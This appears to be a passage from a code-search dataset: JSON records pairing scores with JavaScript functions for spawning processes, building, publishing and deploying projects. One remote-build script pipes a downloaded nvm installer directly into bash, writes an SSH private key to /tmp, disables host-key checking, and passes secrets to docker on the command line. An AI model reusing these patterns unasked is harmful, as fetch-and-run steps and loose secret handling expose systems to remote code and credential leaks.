checkout --force ${settings.hash}`, {\n out: stdout => {\n console.log(color.grey(stdout))\n },\n err: err => {\n // Show these errors in grey since some stuff that is not errors comes through output\n console.log(color.grey(err))\n },\n exit: code => {\n if (code === 0) {\n console.log(color.yellow('××× DEPLOY END ××××××××××××××\\n\\n'))\n } else {\n console.log(\n color.red(color.bold('Something went wrong:') + ` [${code}]`)\n )\n }\n }\n })\n .start()\n })\n}", "title": "" }, { "docid": "4923bf04870322a24c658a0ddef4ade7", "score": "0.52684885", "text": "function spawn(exe, args, cwd) {\n var deferred = Q.defer();\n var child = cp.spawn(exe, args, {cwd: cwd || process.cwd()});\n var buffer = [];\n child.stderr.on('data', function(chunk) {\n buffer.push(chunk.toString());\n });\n child.stdout.on('data', function(chunk) {\n deferred.notify(chunk.toString());\n });\n child.on('exit', function(code) {\n if (code) {\n var msg = buffer.join('') || 'Process failed: ' + code;\n deferred.reject(new Error(msg));\n } else {\n deferred.resolve();\n }\n });\n return deferred.promise;\n}", "title": "" }, { "docid": "1304277fd66fe88d0926928c4f0d07ab", "score": "0.5248974", "text": "function publish(options) {\n if (options === void 0) { options = {}; }\n return publish_1.publish(options);\n}", "title": "" }, { "docid": "060443262334b58d932c182eb4dacae1", "score": "0.5239233", "text": "runProject() {\n if (this.ps) return;\n\n const simulator = this.selectedSimulator.getSelectedItem();\n\n const args = ['run-ios', '--simulator', simulator.name];\n\n const ps = this.ps = child_process.spawn(CLI_PATH, args, {\n encoding: 'utf8',\n stdio: 'pipe',\n env: Object.assign({}, process.env, { PATH: getPath() }),\n cwd: getRootFolder()\n });\n\n this.buildView.attach();\n\n ps.stdout.on('data', data => this.buildView.append(data));\n ps.stderr.on('data', data => this.buildView.append(data, true));\n\n ps.on('close', () => {\n if (this.buildView.hasErrors()) {\n this.buildView.detachOnEsc();\n } else {\n this.buildView.detach();\n }\n this.ps = null;\n });\n }", "title": "" }, { "docid": "17e879c2e93f34fa976d4a5e94d11e98", "score": "0.5233726", "text": "async function deploy() {\n const cfApp = getInput('cf-app');\n const deployDir = getInput('deploy-dir');\n try {\n const manifestFile = getInput('cf-manifest');\n await exec('ibmcloud', ['cf', 'push', cfApp, ...(!manifestFile ? [] : ['-f', manifestFile]), '--strategy', 'rolling'], {\n ...execOptions,\n cwd: deployDir,\n });\n } catch (error) {\n setFailed(`Deploying ${cfApp} to IBM Cloud failed: ${error.stack}`);\n throw error;\n }\n}", "title": "" }, { "docid": "c9799be3d202de9b01ed36ce19bc010d", "score": "0.52312404", "text": "function siteLeafPublish() {\n\treturn new Promise((resolve, reject) => {\n\t\tlet request_options = {\n\t\t\thost: 'api.siteleaf.com',\n\t\t\tpath: `/v2/sites/${config.siteLeaf.siteId}/publish`,\n\t\t\tmethod: 'POST',\n\t\t\tauth: `${config.siteLeaf.apiKey}:${config.siteLeaf.apiSecret}`,\n\t\t};\n\n\t\tlet request = https.request(request_options, (res) => {\n\t\t\tres.setEncoding('utf-8');\n\t\t\tres.on('data', (chunk) => {\n\t\t\t\tresolve();\n\t\t\t});\n\t\t});\n\n\t\trequest.on('error', errorHandler);\n\n\t\trequest.write(JSON.stringify({}));\n\t\trequest.end();\n\t});\n}", "title": "" }, { "docid": "9f6b01428e3cb7e82c8a26123e448a16", "score": "0.52203983", "text": "release() {\n return new Promise((resolve, reject) => {\n\n\n if (!this.settings.projectId) {\n reject({message: \"Missing projectId\"});\n return;\n }\n\n if (!this.settings.token) {\n reject({message: `Firebase CI token is missing`});\n return;\n }\n\n return api.request('POST', `/v1/projects/${this.settings.projectId}/releases`, {\n data: this.firebase,\n auth: true,\n origin: api.deployOrigin,\n debug: this.settings.debug\n }).then(resolve).catch(reject);\n })\n }", "title": "" }, { "docid": "490b870ba2d651f06e0b8f26ab4db74f", "score": "0.52184916", "text": "function processCommandLine()\n{\n // parse the command line, display help, etc. if the command\n // line is invalid, commander will call process.exit() for us.\n Commander\n .version('1.0.0')\n .option('-s, --silent', 'Suppress command-line output.')\n .option('-p, --project [path]', 'Path of the project to serve. [cwd]', String, process.cwd())\n .option('-C, --save-config', 'Save the current publish configuration.')\n .parse(process.argv);\n\n var projectPath = Path.resolve(Commander.project);\n var projectName = Path.basename(projectPath);\n var configPath = Path.join(projectPath, defaults.CONFIG_FILENAME);\n var configData = loadConfiguration(configPath, Commander.silent);\n var staticConfig = configData.staticConfig;\n var controlConfig = configData.controlConfig;\n var publishTarget = controlConfig.publishTarget;\n var publishRoot = controlConfig.publishRoot;\n var stagingRoot = controlConfig.stagingRoot;\n var webRoot = staticConfig.webRoot;\n\n // if no server configuration exists, always save out the\n // serve.json file containing the current configuration.\n if (!ContentJS.isFile(configPath))\n {\n Commander.saveConfig = true;\n }\n\n // resolve any relative paths to absolute paths:\n staticConfig.webRoot = Path.resolve(projectPath, webRoot);\n controlConfig.publishRoot = Path.resolve(projectPath, publishRoot);\n controlConfig.stagingRoot = Path.resolve(projectPath, stagingRoot);\n publishRoot = controlConfig.publishRoot;\n stagingRoot = controlConfig.stagingRoot;\n webRoot = staticConfig.webRoot;\n\n // ensure that required directories exist.\n var targetPath = Path.join(publishRoot, projectName, publishTarget);\n try\n {\n ContentJS.makeTree(targetPath);\n ContentJS.makeTree(webRoot);\n }\n catch (error)\n {\n programError(exit_code.ERROR, error);\n }\n\n // save out the current configuration if instructed to do so.\n if (Commander.saveConfig)\n {\n saveConfiguration(configData, configPath, Commander.silent);\n }\n\n // return an object containing our final configuration options:\n return {\n silent : Commander.silent,\n staticPort : staticConfig.staticPort,\n contentPort : staticConfig.contentPort,\n controlPort : controlConfig.controlPort,\n staticRoot : webRoot,\n contentRoot : targetPath,\n publishRoot : publishRoot,\n stagingRoot : stagingRoot,\n projectPath : projectPath,\n projectName : projectName,\n publishTarget : publishTarget\n };\n}", "title": "" }, { "docid": "b88f061013f87c5f30836092e50e389a", "score": "0.5195183", "text": "publish(command: WsCommand, params: CloudVisionPublishParams, callback: RawPublishCallback) {\n if (!this.isRunning) {\n callback('Connection is down');\n return;\n }\n const token = makeToken(command, params);\n const callbackWithUnbind: EventCallback = (err, result, status) => {\n if (err) {\n // Unbind callback when any error is received\n this.eventsEmitter.unbind(token, callbackWithUnbind);\n }\n callback(err, status);\n };\n this.eventsEmitter.bind(token, callbackWithUnbind);\n\n try {\n this.sendMessage(token, command, params);\n } catch (err) {\n console.error(err);\n this.eventsEmitter.unbind(token, callbackWithUnbind);\n callback(err);\n }\n }", "title": "" }, { "docid": "7b967efedc093fb5dc15adc179238d32", "score": "0.5194374", "text": "function launchProcess(arg) {\r\n \r\n\t\treturn new bbPromise(function(resolve, reject) {\r\n\r\n\t\t\tvar process = spawn('casperjs', ['./worker.js', arg]);\r\n\t\t\tprocess.stdout.on('data', function(data) {\r\n\t\t\t\tresults.push(JSON.parse(data.toString()));\r\n\t\t\t\t//console.log(util.inspect(data, {showHidden: false, depth: null}));\r\n\t\t\t});\r\n\r\n\t\t\tprocess.stderr.on('data', function(err) {\r\n\t\t\t\treject(err.toString());\r\n\t\t\t});\r\n\r\n\t\t\tprocess.on('exit', function() {\r\n\t\t\t\tresolve();\r\n\t\t\t});\r\n\t\t});\r\n\t}", "title": "" }, { "docid": "fbd16f2c602549d0ad5acfe10f02e4da", "score": "0.5177933", "text": "function buildProject() {\n\n\t// Check that project exists and has a name\n\tif (!project)\n\t\treturn;\n\n\tprojectName = project['projectName'];\n\tif (!projectName)\n\t\treturn;\n\n\t// Show \"working\" modal.\n\tshowModal('workingModal', true);\n\n\t// Save build options to the project\n\tproject['buildImage'] = buildImageCheckBox.checked;\n\tproject['startLocalhost'] = startLocalhostCheckBox.checked;\n\n\t// Prepare the request doc\n\tvar request = {'data': {'project': project}};\n\tvar buildRun = !buildImageCheckBox.checked? 'project': (!startLocalhostCheckBox.checked? 'build': 'run')\n\n\t// Prepare the XHR request.\n\tvar xhr = new XMLHttpRequest();\n\txhr.open(\"POST\", baseURL + \"buildproject/\" + projectName + '/' + buildRun, true);\n\txhr.setRequestHeader('Content-type','application/json; charset=utf-8');\n\n\t// Define the callback function.\n\txhr.onload = function () {\n\n\t\t// Get the response, check HTTP status.\n\t\tif (xhr.status == \"200\") {\n\n\t\t\t// Retrieve the response and check whether the request succeeded.\n\t\t\tvar response = JSON.parse(xhr.responseText);\n\t\t\tvar data = response['data'];\n\t\t\tif (data) {\n\t\t\t\tif (data.succeeded) {\n\t\t\t\t\tproject = data['project'];\n\t\t\t\t\t// Populate the folder select list\n\t\t\t\t\tpopFolderSelect();\n\t\t\t\t\taddStatusMessage('Project ' + projectName + ' built successfully!', null);\n\t\t\t\t\t\n\t\t\t\t\tvar imageTags = project['imageTags'];\n\t\t\t\t\tvar imageID = project['imageID'];\n\t\t\t\t\tif (imageTags && imageID) {\n\t\t\t\t\t\taddStatusMessage('Container image ' + projectName + ' built successfully:', null);\n\t\t\t\t\t\taddStatusMessage('Image ID ' + imageID.substring(7,1000), '20px');\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\tvar containerName = project['containerName'];\n\t\t\t\t\tvar containerID = project['containerID'];\n\t\t\t\t\tvar nginxPort = project['nginxPort'];\n\t\t\t\t\tnginxPort = nginxPort? nginxPort: 80;\n\n\t\t\t\t\tif (containerName && containerID) {\n\t\t\t\t\t\trunning = true;\n\t\t\t\t\t\taddStatusMessage('Container ' + containerName + ' started on port ' + nginxPort + ':', null);\n\t\t\t\t\t\taddStatusMessage('Container ID ' + containerID, '20px');\n\t\t\t\t\t}\n\n\t\t\t\t\tbuilt = true;\n\t\t\t\t\tstatusScrollBottom();\n\t\t\t\t\tsetBuildButtons();\n\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t\talert(data['errorMsg']);\n\t\t\t}\n\t\t\telse\n\t\t\t\talert(response['error']);\n\t\t} \n\t\telse\n\t\t\talert('Error building project');\n\t\t\n\t\t// Hide the 'Working' modal.\n\t\tshowModal('workingModal', false);\n\n\t}\n\n\t// Send the request.\n\tvar contentJSON = JSON.stringify(request);\n\txhr.send(contentJSON);\n\t\n}", "title": "" }, { "docid": "c556f60a1dfc0d497f3706d58b69c5e3", "score": "0.5157393", "text": "async function buildCommandProcess(args: BuildCommandArgs) {\n const sanitizedArgs = {mode: args.mode || 'production'};\n\n await executeWebpack(sanitizedArgs.mode, true);\n process.exit(0);\n}", "title": "" }, { "docid": "792fe99a2aae433793bbadf9c9b35002", "score": "0.5125357", "text": "async function start_cordova(){\n common.tell(\"serving cordova\");\n const do_build_api = await build_api.init('',true);\n if(!do_build_api){\n return common.error(\"failed-do_build_api\")\n }\n const do_copy_build_to_cordova = await copy_build_to_cordova.init();\n if(!do_copy_build_to_cordova){\n return common.error(\"failed-do_copy_build_to_cordova\")\n }\n let path = process.cwd() + \"\\\\cordova\\\\run.js\";\n let script = 'node ' + path;\n const run = await cmd.run(script)\n .then((data)=>{\n // console.log(data);\n })\n .catch((error)=>{\n common.error(error);\n common.error('failed run cordova script');\n common.error('try `$ cordova run` in the cordova directory');\n });\n common.success(\"press enter to deploy to cordova platform after you update the app\");\n}", "title": "" }, { "docid": "8f4171755df3d1520946cb02d88a3d4d", "score": "0.51106715", "text": "publish(_from, _title, _description, _url) {}", "title": "" }, { "docid": "611e6e60c7717b5c858937e3d0e400cf", "score": "0.5110128", "text": "async function bundle() {\n await new q.Promise((resolve, reject) => {\n webpack(webpackConfig).run((err, stats) => {\n if (err) {\n return reject(err)\n }\n console.log('Client Files Built Successfully')\n return resolve()\n })\n })\n\n const ncp = q.denodeify(require('ncp'))\n await q.all([\n ncp('server', 'build-server/server'),\n ncp('package.json', 'build-server/package.json'),\n ncp('scripts/Procfile', 'build-server/Procfile')\n ]).then(() => {\n console.log('Server Files Built Successfully')\n });\n}", "title": "" }, { "docid": "40d0f68b3dad62a18d5341359e5ab7e5", "score": "0.50943637", "text": "function build(cb) {\n const args = (isProduction) ? argsDefault : argsDefault.concat(argsDevelopment)\n const Hugo = spawnSync(hugo, args, {stdio: \"pipe\", encoding: \"utf-8\"})\n\n if (Hugo.error) {\n log(Hugo.error, Hugo.error.toString(), \"Hugo\")\n browserSync.notify(\"Build Failed\")\n return cb(\"Build failed\")\n }\n\n if (Hugo.output) {\n log(null, Hugo.output.toString(), \"Hugo\")\n }\n\n browserSync.reload()\n\n return cb()\n}", "title": "" }, { "docid": "fccd348307ed9c1777fb0b7101d1f9e6", "score": "0.50940347", "text": "async function main() {\n console.log(\" 📡 Deploying...\\n\");\n\n // Basic\n const hello = await deploy(\"Hello\", [\"Hello, World!\"]); // arguments goes inside the array\n\n //If you want to send some ETH to a contract on deploy (make your constructor payable!)\n // const yourContract = await deploy(\"YourContract\", [], {\n // value: utils.parseEther(\"0.05\")\n // });\n\n console.log(\" 💾 Artifacts (address, abi, and args) saved to: \", chalk.blue(\"./artifacts\"), \"\\n\\n\");\n}", "title": "" }, { "docid": "7a1c848dd115741f6ceb54c34c625d34", "score": "0.5074296", "text": "function publishResults() {\n pb.publish({\n channel: chan,\n message: pollOptions,\n callback: function(m) {\n console.log(\"publishing!\");\n }\n });\n} //publishResults()", "title": "" }, { "docid": "a15afd20c5af72f14e68e79493334271", "score": "0.5059044", "text": "async function main() {\n const nvmrc = require('fs').readFileSync('.nvmrc', 'utf-8').trim();\n const secrets = [\n process.env.CRUNCHBASE_KEY_4, process.env.TWITTER_KEYS, process.env.GITHUB_TOKEN, process.env.GITHUB_USER, process.env.GITHUB_KEY\n ].filter( (x) => !!x);\n\n const maskSecrets = function(x) {\n let result = x;\n const replaceAll = function(s, search, replacement) {\n var target = s;\n return target.split(search).join(replacement);\n };\n for (var secret of secrets) {\n const safeString = secret.substring(0, 2) + '***' + secret.substring(secret.length -2);\n result = replaceAll(result, secret, safeString);\n }\n return result;\n }\n for (var secret of secrets) {\n console.info(maskSecrets(`We have a secret: ${secret}`));\n }\n\n const key = `\n-----BEGIN OPENSSH PRIVATE KEY-----\n${process.env.BUILDBOT_KEY.replace(/\\s/g,'\\n')}\n-----END OPENSSH PRIVATE KEY-----\n `.split('\\n').slice(1).join('\\n');\n require('fs').writeFileSync('/tmp/buildbot', key);\n require('fs').chmodSync('/tmp/buildbot', 0o600);\n\n\n // now our goal is to run this on a remote server. Step 1 - xcopy the repo\n const folder = new Date().getTime();\n const remote = '[email protected]';\n\n const runRemote = async function(command) {\n const bashCommand = `\n nocheck=\" -o StrictHostKeyChecking=no \"\n ssh -i /tmp/buildbot $nocheck ${remote} << 'EOSSH'\n ${command}\nEOSSH\n `\n return await runLocal(bashCommand);\n };\n\n const runLocal = function(command) {\n return new Promise(function(resolve) {\n var spawn = require('child_process').spawn;\n var child = spawn('bash', ['-lc', command]);\n let output = [];\n child.stdout.on('data', function(data) {\n const text = maskSecrets(data.toString('utf-8'));\n // console.info(text);\n output.push(text);\n //Here is where the output goes\n });\n child.stderr.on('data', function(data) {\n const text = maskSecrets(data.toString('utf-8'));\n // console.info(text);\n output.push(text);\n //Here is where the error output goes\n });\n child.on('close', function(returnCode) {\n resolve({text: output.join(''), returnCode});\n //Here you can get the exit code of the script\n });\n });\n }\n\n {\n await runRemote(`mkdir -p /root/builds`);\n await runRemote(`docker pull ${dockerImage}`);\n const result = require('child_process').spawnSync('bash', ['-lc', `\n rsync --exclude=\"node_modules\" --exclude=\"dist\" -az -e \"ssh -i /tmp/buildbot -o StrictHostKeyChecking=no \" . ${remote}:/root/builds/${folder}\n `], {stdio: 'inherit'});\n if (result.status !== 0) {\n console.info(`Failed to rsync, exiting`);\n process.exit(1);\n }\n console.info('Rsync done');\n }\n\n\n // lets guarantee npm install for this folder first\n //\n const branch = process.env.BRANCH;\n {\n const buildCommand = [\n \"(ls . ~/.nvm/nvm.sh || curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.35.3/install.sh | bash)\",\n \". ~/.nvm/nvm.sh\",\n `nvm install ${nvmrc}`,\n `nvm use ${nvmrc}`,\n `npm install -g npm --no-progress`,\n `cd /opt/repo`,\n `npm install --no-progress --silent`\n ].join(' && ');\n const npmInstallCommand = `\n mkdir -p /root/builds/branches_cache/${branch}/npm\n mkdir -p /root/builds/branches_cache/${branch}/nvm\n mkdir -p /root/builds/branches_cache/${branch}/node_modules\n chmod -R 777 /root/builds/branches_cache/${branch}/npm\n chmod -R 777 /root/builds/branches_cache/${branch}/nvm\n chmod -R 777 /root/builds/branches_cache/${branch}/node_modules\n chmod -R 777 /root/builds/${folder}\n docker run --rm -t \\\n -v /root/builds/branches_cache/${branch}/node_modules:/opt/repo/node_modules \\\n -v /root/builds/branches_cache/${branch}/nvm:${dockerHome}/.nvm \\\n -v /root/builds/branches_cache/${branch}/npm:${dockerHome}/.npm \\\n -v /root/builds/${folder}:/opt/repo \\\n ${dockerImage} /bin/bash -lc \"${buildCommand}\"\n `;\n console.info(npmInstallCommand);\n console.info(`Installing npm packages`);\n const output = await runRemote(npmInstallCommand);\n\n console.info(`Output from npm install: exit code: ${output.returnCode}`);\n const lines = output.text.split('\\n');\n const index = _.findIndex(lines, (line) => line.match(/added \\d+ packages in/));\n const filteredLines = lines.slice(index !== -1 ? index : 0).join('\\n');\n console.info(filteredLines);\n\n }\n\n\n //\n\n\n const results = await Promise.map(landscapesInfo.landscapes, async function(landscape) {\n\n\n const vars = ['NODE_VERSION', 'RUBY_VERSION', 'CRUNCHBASE_KEY_4', 'GITHUB_KEY', 'TWITTER_KEYS'];\n\n const outputFolder = landscape.name + new Date().getTime();\n const r = () => _.random(30) + 10;\n const buildCommand = [\n `cd /opt/repo`,\n `export NETLIFY=1`,\n `. ~/.nvm/nvm.sh`,\n `nvm use`,\n `bash build.sh ${landscape.repo} ${landscape.name} master`,\n `cp -r /opt/repo/${landscape.name}/dist /dist`\n ].join(' && ');\n const dockerCommand = `\n mkdir -p /root/builds/${outputFolder}\n chmod -R 777 /root/builds/${outputFolder}\n REPO_PATH=/root/builds/${folder}\n OUTPUT_PATH=/root/builds/${outputFolder}\n\n docker run --rm -t \\\n ${vars.map( (v) => ` -e ${v}=\"${process.env[v]}\" `).join(' ')} \\\n -e NVM_NO_PROGRESS=1 \\\n -e PARALLEL=TRUE \\\n -v /root/builds/branches_cache/${branch}/node_modules:/opt/repo/node_modules \\\n -v /root/builds/branches_cache/${branch}/nvm:${dockerHome}/.nvm \\\n -v /root/builds/branches_cache/${branch}/npm:${dockerHome}/.npm \\\n -v /root/builds/${folder}:/opt/repo \\\n -v /root/builds/${outputFolder}:/dist \\\n ${dockerImage} /bin/bash -lc \"${buildCommand}\"\n `;\n\n // console.info(dockerCommand);\n console.info(`processing ${landscape.name} at ${landscape.repo}`);\n\n\n // run a build command remotely for a given repo\n let output;\n\n output = await runRemote(dockerCommand);\n output.landscape = landscape;\n console.info(`Output from: ${output.landscape.name}, exit code: ${output.returnCode}`);\n console.info(output.text);\n if (output.returnCode === 255) { // a single ssh failure\n output = await runRemote(dockerCommand);\n output.landscape = landscape;\n console.info('Retrying ...');\n console.info(`Output from: ${output.landscape.name}, exit code: ${output.returnCode}`);\n console.info(output.text);\n }\n\n const rsyncResult = await runLocal(\n `\n rsync -az -e \"ssh -i /tmp/buildbot -o StrictHostKeyChecking=no \" ${remote}:/root/builds/${outputFolder}/dist/ dist/${landscape.name}\n `\n );\n await runRemote(\n `\n rm -rf /root/builds/${outputFolder}\n `\n )\n console.info(`Returning files back, exit code: ${rsyncResult.returnCode}, text: \\n${rsyncResult.text}`);\n return output;\n\n });\n await runRemote(`rm -rf /root/builds/${folder}`);\n if (_.find(results, (x) => x.returnCode !== 0)) {\n process.exit(1);\n }\n const redirects = results.map((result) => `\n /${result.landscape.name}/ /${result.landscape.name}/prerender.html 200!\n /${result.landscape.name} /${result.landscape.name}/prerender.html 200!\n /${result.landscape.name}/* /${result.landscape.name}/index.html 200\n `).join('\\n');\n const index = results.map((result) => `<div><a href=\"${result.landscape.name}/\"><h1>${result.landscape.name}</h1></a></div>`).join('\\n');\n const robots = `\n User-agent: *\n Disallow: /\n `;\n require('fs').writeFileSync('dist/_redirects', redirects);\n require('fs').writeFileSync('dist/index.html', index);\n require('fs').writeFileSync('dist/robots.html', robots);\n require('fs').copyFileSync(path.resolve(__dirname, '..', '_headers'), 'dist/_headers')\n}", "title": "" }, { "docid": "4d7086e3404db6f24742d513ad7129c0", "score": "0.504829", "text": "start_process(){\n const min_RAM_in_MB = parseInt(this.proc_config.min_RAM * 1024),\n max_RAM_in_MB = parseInt(this.proc_config.max_RAM * 1024);\n \n const cmd_args = [`-Xms${min_RAM_in_MB}M`,\n `-Xmx${max_RAM_in_MB}M`,\n \"-jar\",\n this.proc_config.jar_file,\n \"nogui\"];\n\n this._init_env(this.proc_config.proc_cwd, \n this.proc_config.port, \n this.proc_config.max_player);\n\n console.log(\"cmd args: %s\", cmd_args);\n\n const proc_spawn_options = {\n cwd : this.proc_config.proc_cwd,\n env : process.env\n };\n\n this._process = cp.spawn(this.proc_config.java_bin, cmd_args, proc_spawn_options);\n // set pid\n this._pid = this._process.pid;\n // bind pipes with events\n this._stdin = this._process.stdin;\n this._stdout = this._process.stdout;\n this._stderr = this._process.stderr;\n\n this._stdout.on('data',(chuck)=>{\n this.on_log_update(this.inst_id, STDOUT, chuck);\n });\n\n this._stderr.on('data',(chuck)=>{\n this.on_log_update(this.inst_id, STDERR, chuck);\n });\n // on exit\n this._process.on('close', this._on_exit(this));\n console.info(\"Start Process pid=(%s)\" % this._pid);\n\n // run callback\n this.on_instance_start(this.inst_id);\n return true;\n }", "title": "" }, { "docid": "e4a62da727dae3e83c5f783c02a0f9a4", "score": "0.50482756", "text": "function _spawnP(cwd, args) {\n return new Promise((resolve, reject) => {\n const proc = spawn(MAIN_PATH, args, { cwd, stdio: 'pipe' });\n const out = [];\n const store = (data) => out.push(data);\n proc.stdout.setEncoding('utf8');\n proc.stderr.setEncoding('utf8');\n proc.stdout.on('data', store);\n proc.stderr.on('data', store);\n proc.on('error', reject);\n proc.on('exit', code => resolve({code, out: out.join(\"\")}));\n });\n}", "title": "" }, { "docid": "7df49ce6af6bef9a987fcececb5321dc", "score": "0.50465995", "text": "publish(){\n \n }", "title": "" }, { "docid": "332eb7801fcb353184972c300f4c9017", "score": "0.50255334", "text": "async function publish(){\n\n try{\n // Load and sign file\n const data = fs.readFileSync(filename)\n\n const privKey = dsteem.PrivateKey.fromString(config.password)\n const imageHash = crypto.createHash('sha256')\n .update('ImageSigningChallenge')\n .update(data)\n .digest()\n const signature = privKey.sign(imageHash).toString()\n const urlWithSignature = `${ config.IMAGE_HOSTER }/${ config.username }/${ signature }`\n \n // Upload file\n let form = new FormData()\n form.append('file', fs.createReadStream(filename))\n \n var response = await axios({\n method: 'post',\n url: urlWithSignature,\n data: form,\n headers: form.getHeaders()\n })\n \n const pdfUrl = response.data.url;\n \n // Definition of content\n const body = '[[pdf link]](' + pdfUrl + ')'\n\n const json_metadata = {\n issuer_name,\n home_member_state,\n identifier_id,\n identifier_value,\n subclass,\n disclosure_date,\n document_language,\n comment: title,\n financial_year,\n tags,\n submission_date: new Date().toISOString().slice(0, -5),\n app: 'sendjs/0.0.1'\n }\n\n // Definition of the link to the post\n let permlink = title.toLowerCase().replace(/\\s+/g, \"-\").replace(/[^0-9a-z-]/gi, \"\")\n // optional: add random string to permlink\n permlink = Math.random().toString(36).substring(7) + '-' + permlink\n\n const post = {\n author: config.username,\n body: body,\n json_metadata: JSON.stringify(json_metadata),\n parent_author: '',\n parent_permlink: 'oam',\n permlink: permlink,\n title: title\n }\n\n // Broadcast to the blockchain\n const responsePost = await client.broadcast.comment(post, privKey);\n console.log('New report published!!')\n console.log(`permlink: @${config.username}/${permlink}`)\n console.log(`link pdf: ${pdfUrl}`)\n }catch(error){\n console.log(error)\n }\n}", "title": "" }, { "docid": "205fb27a24e87ecd9ba2519954e3f294", "score": "0.5017649", "text": "function _spawnChild(next) {\n console.log('Inside ----', store.action + '|' + _spawnChild.name);\n\n console.log('\\n------------------');\n console.log('Executing:', store.cmd, store.args);\n console.log('------------------');\n\n let startTime = new Date();\n const result = child_process.spawnSync(store.cmd, store.args);\n let endTime = new Date();\n\n store.result = {};\n store.result.output = result.stdout.toString();\n store.result.executionTime = (endTime - startTime) + 'ms';\n\n console.log(store.result);\n\n console.log('------------------');\n console.log('Processed!');\n console.log('------------------\\n');\n\n return next();\n}", "title": "" }, { "docid": "62215a010a727c93581fc7826c7eaa90", "score": "0.49938035", "text": "async createPackage () {\n this.options.logger(`Creating package at ${this.stagingDir}`)\n\n const output = await spawn('rpmbuild', ['-bb', this.specPath, '--target', `${this.options.arch}-${this.options.vendor}-${this.options.platform}`, '--define', `_topdir ${this.stagingDir}`], this.options.logger)\n this.options.logger(`rpmbuild output: ${output}`)\n }", "title": "" }, { "docid": "e9ccd7135f293157e993a58643e01baa", "score": "0.49840236", "text": "function pub_publish(pub_msg){\n\t\tpubnub.publish({\n\t\t message: pub_msg,\n\t\t channel: chatPublishChannel,\n\t\t sendByPost: false, // true to send via post\n\t\t storeInHistory: true, //override default storage options\n\t\t },\n\t\t function (status, response) {\n\t\t \tconsole.log(response)\n\t\t // handle status, response\n\t\t }\n\t\t);\n\t}", "title": "" }, { "docid": "9b7906550c151100c013b5636f70aa9c", "score": "0.49773198", "text": "function publishcheckInProject() {\t\n\tvar publishUrl = _spPageContextInfo.siteAbsoluteUrl + \"/_api/ProjectServer/Projects('\" + projUid + \"')/draft/publish(true)\";\n\t\n\t$.ajax({\n\t url: publishUrl,\n\t type: \"POST\",\n\t contentType: \"application/json;odata=verbose\",\n\t headers: {\n\t \"accept\": \"application/json;odata=verbose\",\n\t \"X-RequestDigest\": $(\"#__REQUESTDIGEST\").val(),\n\t \"X-HTTP-Method\":\"POST\",\n\t \"If-Match\": \"*\"\n\t },\n\t success: function () {\n\t\twaitDialog.close();\n\t },\n\t error: function (err) {\n\t\twaitDialog.close();\n\t\talert(JSON.stringify(err));\n\t }\n\t });\n}", "title": "" }, { "docid": "0fccf05e81378e73225ff885550e2893", "score": "0.4976793", "text": "function exe(project) {\n\n console.log('\\nstart....');\n\n ruser.code('Sys.getpid();', project)\n .data({ enableConsoleEvents: EVENTS_ON })\n .error(function(err) { console.log(err); })\n .end(function(res) {\n\t console.log(res.get('console'));\n })\n .code('RevoScaleR:::rxStartBxlServer()', project)\n .data({ enableConsoleEvents: EVENTS_ON }) \n .error(function(err) { console.log(err); })\n .end(function(res) {\n console.log('Pass... 1');\n })\n .code('rxDataStep(iris)', project)\n .data({ enableConsoleEvents: EVENTS_ON }) \n .error(function(err) { console.log(err); })\n .end(function(res) {\n console.log('Pass... 2');\n })\n .code('rxSummary(~., iris)', project)\n .data({ enableConsoleEvents: EVENTS_ON }) \n .error(function(err) { console.log(err); })\n .end(function(res) {\n console.log('Pass... 3');\n })\n .ensure(function() {\n ruser.release(project)\n .then(function(res) {\n console.log('Closed project: \"' + project + '\"');\n }, function(err) {\n console.log('Failed to close project: \"' + project + '\"');\n console.log(err);\n });\n });\n}", "title": "" }, { "docid": "66a80dd033e6cf9d48a9271e1ceca22a", "score": "0.4956719", "text": "function main() {\n console.log('Deployment started.');\n sshConnect();\n }", "title": "" }, { "docid": "7d59a9d5ac796243a6ada73b230619a4", "score": "0.49392676", "text": "async function run(projectRoot) {\n if (!await validateRun(projectRoot)) return;\n\n // If we have web app structure then run the web app dev process\n if (fs.existsSync(path.resolve('app'))) {\n await buildClient();\n await buildServer();\n await runAppServer();\n }\n}", "title": "" }, { "docid": "825e69ae2222b29ecab5a5cba14991d9", "score": "0.4919408", "text": "function jekyllBuild() {\n browserSync.notify(messages.jekyllBuild);\n if (env === 'prod') {\n return spawn('jekyll', ['build', '--config', '_config.yml'], { stdio: 'inherit' });\n } else {\n return spawn('jekyll', ['build', '--config', '_config.yml,_config.dev.yml'], { stdio: 'inherit' });\n }\n}", "title": "" }, { "docid": "1d96dc0de752dd934d8e624a22d75adf", "score": "0.49082586", "text": "async function build() {\n // Clear out the build directory\n await execShell(\"rm -rf ./dist\");\n\n // Ensure the blog directory exists.\n fs.mkdirSync(\"./dist/blog\", { recursive: true });\n\n // Convert each markdown file to HTML, and extract the article\n // info for use in building an index page.\n const articles = fs\n .readdirSync(\"./src/md\")\n .map(loadArticleListItem)\n .sort((a, b) => b.filename.localeCompare(a.filename));\n\n articles.forEach((article, i) =>\n fs.writeFileSync(\n `./dist/blog/${article.filename}`,\n writeArticle(article, articles[i - 1], articles[i + 1])\n )\n );\n fs.writeFileSync(`./dist/blog/index.html`, articlesPage({ articles }));\n fs.writeFileSync(\n `./dist/index.html`,\n writeArticle(\n articles[0],\n undefined,\n articles[1],\n redirectScript(`blog/${articles[0].filename}`)\n )\n );\n\n // TODO: Prolly should optimize CSS via postcss or something...\n fs.copyFileSync(\"./src/css/main.css\", \"./dist/blog/main.css\");\n\n fs.copyFileSync(\"./src/img/favicon.ico\", \"./dist/favicon.ico\");\n}", "title": "" }, { "docid": "1a73db57e5f82d42a5b65851bcc34a56", "score": "0.4899455", "text": "_startChildProcess () {\n\t\tif (this._running) {\n\t\t\treturn this._childProcess;\n\t\t}\n\n\t\tthis._running = true;\n\t\tthis._childProcess = childProcess.spawn(this.sourceString, {\n\t\t\tcwd: process.cwd(),\n\t\t\tenv: process.env,\n\t\t\tstdio: 'pipe',\n\t\t\tshell: true\n\t\t});\n\n\t\treturn this._childProcess;\n\t}", "title": "" }, { "docid": "72681b624e1cda4349de998fbd470462", "score": "0.48962936", "text": "async function build() {\n await run('npm', ['run', 'clean']);\n await run('npm', ['run', 'build']);\n await run('tsc', ['-p', 'test', '--skipLibCheck']);\n}", "title": "" }, { "docid": "77bb02e837ce935f4598b31eff9758f7", "score": "0.48912638", "text": "function forkChildProcess() {\n return fork('./src/main.js', [], {\n env: 